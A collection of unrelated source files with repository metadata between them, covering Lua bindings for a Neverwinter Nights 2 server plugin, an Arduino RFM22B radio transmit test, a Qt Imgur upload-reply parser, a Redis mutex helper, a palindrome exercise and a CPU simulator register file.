lua_pushobject(L, effect->EffectObjects[i]); lua_rawseti(L, -2, i + 1); } lua_settable(L, -3); lua_pushstring(L, "EffectInts"); lua_createtable(L, effect->NumbEffectInts, 0); for (size_t i = 0; i < effect->NumbEffectInts; i++) { lua_pushinteger(L, effect->effectInts[i]); lua_rawseti(L, -2, i + 1); } lua_settable(L, -3); } int SetEffectString(lua_State*L) { size_t len; CGameEffect * effect = GetEffect(L); int idx = lua_tointeger(L, 3); const char * str = lua_tolstring(L, 4, &len); if (!effect) { lua_pop(L, lua_gettop(L)); lua_pushboolean(L, 0); return 1; } else if (idx < 0 || idx >= 6) { luaL_error(L, "SetEffectString index must be between 0 and 5"); return 0; } if (effect->EffectString[idx].text) { NWN2_Free(effect->EffectString[idx].text); effect->EffectString[idx].text = NULL; effect->EffectString[idx].len = 0; } if (str && len > 0) { effect->EffectString[idx].text = (char*)NWN2_Malloc(len + 1); if (!effect->EffectString[idx].text) { lua_pop(L, lua_gettop(L)); lua_pushboolean(L, 0); return 1; } memcpy(effect->EffectString[idx].text, str, len); effect->EffectString[idx].text[len] = '\0'; } lua_pop(L, lua_gettop(L)); lua_pushboolean(L, 1); return 1; } int GetCreature(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); void * obj = GetCreatureByGameObjectID(objid); lua_pop(L, 1); if (obj) { char result[10]; sprintf(result, "%08X", obj); lua_pushstring(L, result); } else { lua_pushnil(L); } return 1; } int GetObject(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); void * obj = GetObjectByGameObjectID(objid); lua_pop(L, 1); if (obj) { char result[10]; sprintf(result, "%08X", obj); lua_pushstring(L, result); } else { lua_pushnil(L); } return 1; } int LRunScript(lua_State*L) { const char * script = luaL_checkstring(L, 1); nwn_objid_t objid = GetObjID(L, 2); if (objid == OJBECT_INVALID) objid = OBJECT_MODULE; RunScript(script, objid); lua_pop(L, lua_gettop(L)); return 0; } int EffectSetExposed(lua_State*L) { CGameEffect * effect = GetEffect(L); if (effect) { effect->IsExposed = lua_toboolean(L, 3); effect->ShowIcon = effect->IsExposed; } return 0; } int SetEffectObject(lua_State*L) { CGameEffect * effect = GetEffect(L); int idx = luaL_checkinteger(L, 3); nwn_objid_t newobject = GetObjID(L, 4); lua_pop(L, lua_gettop(L)); if (!effect || idx < 0 || idx >= 4) { lua_pushboolean(L, false); return 1; } effect->EffectObjects[idx] = newobject; lua_pushboolean(L, true); return 1; } int EffectSetEffectInt(lua_State*L) { CGameEffect * effect = GetEffect(L); int idx = luaL_checkinteger(L, 3); int newint = luaL_checkinteger(L, 4); lua_pop(L, lua_gettop(L)); if (!effect || idx < 0 || idx >= 10) { lua_pushboolean(L, false); return 1; } if (!ApplyEffectId(effect)) { lua_pushboolean(L, false); return 1; } effect->effectInts[idx] = newint; lua_pushboolean(L, true); return 1; } int GetEffectData(lua_State*L) { if (lua_gettop(L) > 1) { CGameEffect * effect = GetEffect(L); lua_pop(L, lua_gettop(L)); lua_pusheffectdata(L, effect); } else { CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(GetObjID(L, 1)); lua_pop(L, lua_gettop(L)); if (!object) { lua_pushnil(L); return 1; } int effects = object->effects_len; lua_createtable(L, effects, 0); for (size_t i = 0; i < effects; i++) { CGameEffect * effect = object->effects[i]; ApplyEffectId(effect); lua_pusheffectdata(L, effect); lua_rawseti(L, -2, i + 1); } } return 1; } int GetTempHP(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (objid == OJBECT_INVALID || !object || object->ObjectType != CGameObject__OBJECT_TYPE_CREATURE) { lua_pop(L, lua_gettop(L)); lua_pushinteger(L, 0); return 1; } lua_pop(L, lua_gettop(L)); lua_pushinteger(L, object->TempHp); return 1; } int SetTempHP(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); int temphp = luaL_checkinteger(L, 2); CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (objid == OJBECT_INVALID || !object || object->ObjectType != CGameObject__OBJECT_TYPE_CREATURE) { lua_pop(L, lua_gettop(L)); return 0; } object->TempHp = temphp; lua_pop(L, lua_gettop(L)); return 0; } int SetGetCreatureScript(lua_State*L){ nwn_objid_t objid = GetObjID(L, 1); int idx = luaL_checkinteger(L, 2); size_t len; const char * script = luaL_optlstring(L, 3, NULL, &len); if (idx > 25 || idx < 0) { lua_pop(L, lua_gettop(L)); lua_pushnil(L); return 1; } BYTE * raw = (BYTE*)GetObjectByGameObjectID(objid); CNWSObject * object = (CNWSObject*)raw; if (objid == OJBECT_INVALID || !object || object->ObjectType != CGameObject__OBJECT_TYPE_CREATURE) { lua_pop(L, lua_gettop(L)); lua_pushnil(L); return 1; } CExoString* scripts = (CExoString*)(raw + 0x418); CExoString* target = &scripts[idx]; if (!scripts->text) { lua_pushstring(L, ""); } else { lua_pushstring(L, target->text); } if (script) { if (target->text) { NWN2_Free(target->text); target->text = NULL; target->len = 0; } if (script[0] != '\0') { target->len = len + 1; target->text = (char*)NWN2_Malloc(target->len); if (!target->text) { target->len = 0; } else { memcpy(target->text, script, len); target->text[len] = '\0'; } } } lua_copy(L, -1, 1); lua_pop(L, lua_gettop(L)-1); return 1; } int CopyEffectIdsToEffectInts(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); if (objid == OJBECT_INVALID) { lua_pop(L, lua_gettop(L)); lua_pushnil(L); return 1; } else lua_pop(L, lua_gettop(L)); CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (!object) { lua_pushboolean(L, false); return 1; } int effects = object->effects_len; for (size_t i = 0; i < effects; i++) { CGameEffect * effect = object->effects[i]; ApplyEffectId(effect); } lua_pushboolean(L, true); return 1; } int ClearLocalVariables(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); if (objid == OJBECT_INVALID) { lua_pop(L, lua_gettop(L)); return 0; } else lua_pop(L, lua_gettop(L)); CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (!object) { return 0; } ClearVariables(&object->vartable); return 0; } int GetLocalVariable(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); const char * name = luaL_checkstring(L, 2); int type = luaL_optinteger(L, 3, -1); if (objid == OJBECT_INVALID) { lua_pop(L, lua_gettop(L)); lua_pushnil(L); return 1; } else lua_pop(L, lua_gettop(L)); CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (!object) { lua_pushnil(L); return 1; } for (int n = 0; n < object->vartable.vartable_len; n++) { CScriptVariable * var = &object->vartable.vartable[n]; if ((type == -1 || type == var->Type) && strcmp(var->Name.text, name) == 0) { lua_pop(L, lua_gettop(L)); switch (var->Type) { case 3: //string lua_pushcexostring(L, (CExoString*)var->Data); break; case 2: //float float numb; memcpy(&numb, &var->Data, sizeof(float)); lua_pushnumber(L, numb); break; case 5: //location lua_pushlocation(L, *(Location*)var->Data); break; case 4: //object lua_pushobject(L, var->Data); break; case 1: //int lua_pushinteger(L, (int)var->Data); break; default: lua_pushnil(L); break; } return 1; } } lua_pop(L, lua_gettop(L)); lua_pushnil(L); return 1; } int GetLocalVariables(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); if (objid == OJBECT_INVALID) { lua_pop(L, lua_gettop(L)); lua_pushnil(L); return 1; } else lua_pop(L, lua_gettop(L)); CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (!object) { lua_pushnil(L); return 1; } lua_createtable(L, object->vartable.vartable_len, 0); for (int n = 0; n < object->vartable.vartable_len; n++) { lua_createtable(L, 0, 3); CScriptVariable * var = &object->vartable.vartable[n]; lua_pushstring(L, "Name"); lua_pushcexostring(L, &var->Name); lua_settable(L, -3); lua_pushstring(L, "Type"); switch (var->Type) { case 3: //string lua_pushstring(L, "string"); break; case 2: //float lua_pushstring(L, "float"); break; case 5: //location lua_pushstring(L, "location"); break; case 4: //object lua_pushstring(L, "object"); break; case 1: //int lua_pushstring(L, "int"); break; default: lua_pushstring(L, "unknown"); break; } lua_settable(L, -3); lua_pushstring(L, "Data"); switch (var->Type) { case 3: //string lua_pushcexostring(L, (CExoString*)var->Data); break; case 2: //float float numb; memcpy(&numb, &var->Data, sizeof(float)); lua_pushnumber(L, numb); break; case 5: //location lua_pushlocation(L, *(Location*)var->Data); break; case 4: //object lua_pushobject(L, var->Data); break; case 1: //int lua_pushinteger(L, (int)var->Data); break; default: lua_pushnil(L); break; } lua_settable(L, -3); lua_rawseti(L, -2, n + 1); } return 1; } int Test(lua_State*L) { void * test = NWN2_Malloc(10000000); char result[10]; sprintf(result, "%08X", test); lua_pushstring(L, result); if (test) NWN2_Free(test); return 1; }
82a263635a1d66a1d62e97dfd9a2d0e024fa4185
f43678a9f611fc7ddbe9be53d0915f4586c944c6
/Code/Normal_test/TX/TX.ino
08c3a7de8615ffb3f75aa348594532de36d6c34b
[]
no_license
matvidal/RFM22B_GPS
3c1c1787e93b5bd1f0f965c88b38f8e5d633cf2f
e705cb7d446c358bdd7e4f6580f140cd5cf538c9
refs/heads/master
2020-04-06T07:02:36.802987
2016-08-18T14:39:15
2016-08-18T14:39:15
58,554,237
1
0
null
2016-06-06T21:51:29
2016-05-11T14:54:18
C++
UTF-8
C++
false
false
1,762
ino
TX.ino
#include <RHReliableDatagram.h> #include <SPI.h> #include <RH_RF22.h> #define CLIENT_ADDRESS 1 #define SERVER_ADDRESS 2 static const int SDN = 10; uint8_t data[RH_RF22_MAX_MESSAGE_LEN]; // Singleton instance of the radio driver. RH_RF22 driver(4,2); // Class to manage message delivery and receipt, using the driver declared above. RHReliableDatagram rf22(driver, CLIENT_ADDRESS); void setup() { Serial.begin(115200); pinMode(SDN, OUTPUT); digitalWrite(SDN, LOW); delay(1500); if (!rf22.init()) { Serial.println(F("Initialization failed")); } Serial.println(F("Unidirectional test (TX)")); driver.setCRCPolynomial(driver.CRC_CCITT); driver.setHeaderFlags(0x7E); driver.setFrequency(437.225, 0.05); driver.setTxPower(RH_RF22_TXPOW_20DBM); if (!driver.setModemConfig(driver.GFSK_Rb2Fd5)) { Serial.println(F("Configuration error")); } rf22.setRetries(3); Serial.println(F("Set Tx Power = RH_RF22_TXPOW_20DB")); Serial.println(F("Set configuration = GFSK_Rb2Fd5")); } void loop() { sendPacket(data, RH_RF22_MAX_MESSAGE_LEN); } /** * Generates an array of random numbers between 0 and 255. */ void generateRandomData() { for (int i = 0; i < RH_RF22_MAX_MESSAGE_LEN; i++){ data[i] = random(0,255); } } /** * This function sends a packet to the receiver and then it waits for a confirmation, * if there is no acknowledge, an error is printed on screen. * @param data[] Data sent to the receiver.. * @param data_size Size of the packet to be sent. */ void sendPacket(uint8_t data[], int data_size) { generateRandomData(); if (!rf22.sendtoWait(data, data_size, SERVER_ADDRESS)) Serial.println(F("sendtoWait failed")); }
4d11cdb78aba80e36d4927614aa81f8ba41a43dc
28d81783becae2bf13f7e380f078ca45cb19eb0c
/LibEngineTest/Classes/test/ApplicationTest/ApplicationTest.h
9a712269d87d205f44aa0bc8ac9a24fcbc7c8ce3
[]
no_license
yesunsong/XMEngine
1eb63605d818ef859d0a7d72a0d3008ff5349ffb
a38fa5f50b8c0b8d56ca84a0c9ff937e73bc7b69
refs/heads/master
2020-12-24T07:54:49.027780
2017-01-29T02:58:38
2017-01-29T02:58:38
73,356,387
1
3
null
null
null
null
UTF-8
C++
false
false
456
h
ApplicationTest.h
#ifndef _APPLICATION_TEST_H_ #define _APPLICATION_TEST_H_ #include "framework\BaseTest.h" DEFINE_TEST_SUITE(ApplicationTests); class BaseApplicationTest : public TestCase { public: BaseApplicationTest(); ~BaseApplicationTest(); CREATE_FUNC(BaseApplicationTest); public: virtual void onEnter() override; virtual std::string title() const override; virtual std::string subtitle() const override; }; #endif ///_APPLICATION_TEST_H_
39ea3cc7a6eccf6569d679974c57f97a4c74dcfe
61ddfce8dfa1c512b5e2747b2b6390f20ee20294
/src/qimguruploader/qimgurreply.cpp
1cadcb499c86b5a98d1adf410362938726453def
[ "MIT" ]
permissive
R-Rudolph/QImgurUploader
6cd2019cad599fc8e0b51525ddb251ef9f09b0b2
d23221caf8a8105f955aa87fa531e19037867229
refs/heads/master
2021-08-24T01:54:27.722439
2017-12-07T14:49:42
2017-12-07T14:49:42
113,455,548
2
0
null
null
null
null
UTF-8
C++
false
false
4,964
cpp
qimgurreply.cpp
// License: MIT License // Author: Robert Rudolph #include "qimgurreply.h" #include<QNetworkReply> #include <QJsonDocument> #include <QJsonValue> #include <QJsonObject> #include <QJsonArray> QImgurReply::QImgurReply(QNetworkReply *reply, QObject *parent) : QObject(parent) { m_reply = reply; m_finished = false; if(m_reply->isFinished()) { replyFinished(); } else { connect(reply,&QNetworkReply::finished,this,&QImgurReply::replyFinished); connect(reply,&QNetworkReply::downloadProgress,this,&QImgurReply::downloadProgress); connect(reply,&QNetworkReply::uploadProgress,this,&QImgurReply::uploadProgress); } } QNetworkReply *QImgurReply::reply() const { return m_reply; } int QImgurReply::status() const { return m_status; } bool QImgurReply::success() const { return m_success; } QString QImgurReply::id() const { return m_id; } QString QImgurReply::title() const { return m_title; } QString QImgurReply::description() const { return m_description; } int QImgurReply::datetime() const { return m_datetime; } QString QImgurReply::type() const { return m_type; } bool QImgurReply::animated() const { return m_animated; } int QImgurReply::width() const { return m_width; } int QImgurReply::height() const { return m_height; } int QImgurReply::size() const { return m_size; } int QImgurReply::views() const { return m_views; } int QImgurReply::bandwidth() const { return m_bandwidth; } QJsonValue QImgurReply::vote() const { return m_vote; } bool QImgurReply::favorite() const { return m_favorite; } QJsonValue QImgurReply::nsfw() const { return m_nsfw; } QJsonValue QImgurReply::section() const { return m_section; } QString QImgurReply::accountUrl() const { return m_account_url; } int QImgurReply::accountId() const { return m_account_id; } bool QImgurReply::isAd() const { return m_is_ad; } bool QImgurReply::inMostViral() const { return m_in_most_viral; } QStringList QImgurReply::tags() const { return m_tags; } int QImgurReply::adType() const { return m_ad_type; } QString QImgurReply::adUrl() const { return m_ad_url; } bool QImgurReply::inGallery() const { return m_in_gallery; } QString QImgurReply::deletehash() const { return m_deletehash; } QString QImgurReply::name() const { return m_name; } QString QImgurReply::link() const { return m_link; } bool QImgurReply::isFinished() const { return m_finished; } QNetworkReply::NetworkError QImgurReply::networkError() const { return m_networkError; } QJsonParseError QImgurReply::jsonError() const { return m_jsonError; } QString QImgurReply::errorString() const { return m_errorString; } void QImgurReply::replyFinished() { m_finished = true; m_success = false; m_networkError = m_reply->error(); if(m_networkError==QNetworkReply::NoError) { QByteArray arr = m_reply->readAll(); QJsonDocument doc = QJsonDocument::fromJson(arr,&m_jsonError); if(m_jsonError.error == QJsonParseError::NoError) { QJsonObject object = doc.object(); m_success = object["success"].toBool(false); m_status = object["status"].toInt(); if(m_success) { QJsonObject data = object["data"].toObject(); m_id = data["id"].toString(); m_title = data["title"].toString(); m_description = data["description"].toString(); m_datetime = data["datetime"].toInt(); m_type = data["type"].toString(); m_animated = data["animated"].toBool(); m_width = data["width"].toInt(); m_height = data["height"].toInt(); m_size = data["size"].toInt(); m_views = data["views"].toInt(); m_bandwidth = data["bandwidth"].toInt(); m_vote = data["vote"]; m_favorite = data["favorite"].toBool(); m_nsfw = data["nsfw"]; m_section = data["section"]; m_account_url = data["account_url"].toString(); m_account_id = data["account_id"].toInt(); m_is_ad = data["is_ad"].toBool(); m_in_most_viral = data["in_most_viral"].toBool(); m_ad_type = data["ad_type"].toInt(); m_ad_url = data["ad_url"].toString(); m_in_gallery = data["in_gallery"].toBool(); m_deletehash = data["deletehash"].toString(); m_name = data["name"].toString(); m_link = data["link"].toString(); foreach(QJsonValue value, data["tags"].toArray()) m_tags.append(value.toString()); } else { m_errorString = "Imgur error: " + QString::number(m_status); } } else { m_errorString = "Parsing error: " + m_jsonError.errorString(); } } else { m_errorString = "Network error: " + m_reply->errorString(); } emit finished(); emit linkFound(m_link); }
deeb3ec37d9164369d597aa6e1287fad8130e7cb
af723c6696d22895cd49163851b479e1106d2ae5
/examples/zmq_shell/src/include/redis_locking.h
1929b602b13bc73b644247ea293d886dee7c15db
[ "MIT" ]
permissive
AO-StreetArt/AOSharedServiceLibrary
e776adff5d2005b33ea7c156865bfedb57e7d327
3631d7dd604c467845d9cddca063b7bc0ce10918
refs/heads/master
2020-04-12T06:29:29.486559
2018-04-15T03:32:51
2018-04-15T03:32:51
62,973,758
4
0
MIT
2018-04-14T04:00:58
2016-07-09T23:50:00
C++
UTF-8
C++
false
false
3,278
h
redis_locking.h
/* MIT License Block Copyright (c) 2016 Alex Barry Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <stdlib.h> #include <cstdlib> #include <sstream> #include <string> #include <exception> #include "aossl/redis/include/redis_interface.h" #include "app_log.h" #ifndef EXAMPLES_ZMQ_SHELL_SRC_INCLUDE_REDIS_LOCKING_H_ #define EXAMPLES_ZMQ_SHELL_SRC_INCLUDE_REDIS_LOCKING_H_ class RedisLocker { RedisInterface *redis = NULL; public: RedisLocker(RedisInterface *r) {redis = r;} ~RedisLocker() {} // Establish a Redis Mutex Lock on a given key inline void get_lock(std::string key, std::string val) { // Determine if another instance of CLyman has a lock on the Redis Mutex std::string current_mutex_key; bool lock_established = false; while (!lock_established) { redis_logging->error("Redis Mutex Lock Routine Started"); if (redis->exists(key)) { try { current_mutex_key = redis->load(key); } catch (std::exception& e) { redis_logging->error("Exception encountered during Redis Request"); redis_logging->error(e.what()); } } if (((current_mutex_key != "") && \ (current_mutex_key != val)) || val.empty()) { // Another instance of Clyman has a lock on the redis mutex // Block until the lock is cleared redis_logging->error("Existing Redis Mutex Lock Detected, waiting"); while (redis->exists(key)) {} } // Try to establish a lock on the Redis Mutex redis_logging->error("Attempting to obtain Redis Mutex Lock"); if (!(redis->exists(key))) { try { lock_established = redis->setnx(key, val); } catch (std::exception& e) { redis_logging->error("Exception encountered during Redis Request"); redis_logging->error(e.what()); } } } } void get_lock(std::string key) {get_lock(key, "");} bool release_lock(std::string key, std::string val) { std::string current_mutex_key = ""; if (redis->exists(key)) { current_mutex_key = redis->load(key); } if (val.empty() || (val == current_mutex_key)) { return redis->del(key); } return false; } }; #endif // EXAMPLES_ZMQ_SHELL_SRC_INCLUDE_REDIS_LOCKING_H_
7a8afa7e5a6cb51aed94bb4bb21c15ab6e0b32a4
adfad21b33ae60b7e587740a20fbf3e30a787d86
/algorithm/contest/Longest Palindromic Substring.cpp
1406bf04525c386645a2ac78b7c6a69d79909a37
[]
no_license
herokingsley/LeetCodePractice
29a967053654bb5fb8c11df37a7593119dcdca7a
1a773b3ce4a45dcd1c1e5a06260e44b9499a45e1
refs/heads/master
2020-06-26T11:55:05.441098
2019-01-15T16:31:58
2019-01-15T16:31:58
97,018,714
0
0
null
null
null
null
UTF-8
C++
false
false
1,292
cpp
Longest Palindromic Substring.cpp
#include<iostream> #include<string> using namespace std; string longestPalindrome(string s) { int l = s.length(); if(l == 0){ return ""; } int maxl = 1; int st = 0; for(int i = 0 ; i < l; ++i){ for(int j=0; j < 2;++j){ int tempLen; string tempMax; int tl,tr; if(j == 0){ tempLen = 1; tl = tr = i; }else{ if(i+j >= l || s[i] != s[i+j]){ continue; } tempLen = 2; tl = i; tr = i + 1; } if(tempLen > maxl){ maxl = tempLen; st = tl; } while(--tl >= 0 && ++tr < l && s[tl] == s[tr]){ cout<<tl<<" "<<tr<<endl; tempLen += 2; if(tempLen > maxl){ maxl = tempLen; st = tl; } } } } cout<<st<<" and "<<maxl<< endl; return s.substr(st, maxl); } int main(){ string s = "babad"; cout<<longestPalindrome(s)<<endl; return 0; }
9e802a405d98637db87b4d32388471046c01c828
cefbd8878a51cc523039363d9dfb8b52b4cc31ba
/RegFile.cpp
dd423f7920a99a1b69c3979176435a5f09da058d
[]
no_license
bahermursi/SimulateIT
fc6201b61bb8dde5429ead841b17fe3250ad9b45
1af1541ec7a6aebd1b466ef65c64cecaa5bbc65a
refs/heads/master
2021-06-08T23:20:01.372305
2016-11-27T22:38:10
2016-11-27T22:38:10
null
0
0
null
null
null
null
UTF-8
C++
false
false
534
cpp
RegFile.cpp
#include "RegFile.h" #include "Buffer2.h" void RegFile::setSA(int a) { sA = a; } void RegFile::setTA(int a) { tA = a; } void RegFile::read() { if (sA >= 0 && sA < 32) { buffer2->setSD(regs[sA]); jump->setSD(regs[sA]); } if (tA >= 0 && tA < 32) buffer2->setTD(regs[tA]); } void RegFile::write() { if (address > 0 && address < 32 && regWrite) regs[address] = data; } void RegFile::setAddress(int a) { address = a; } void RegFile::setData(int d) { data = d; } void RegFile::setRegWrite(bool rw) { regWrite = rw; }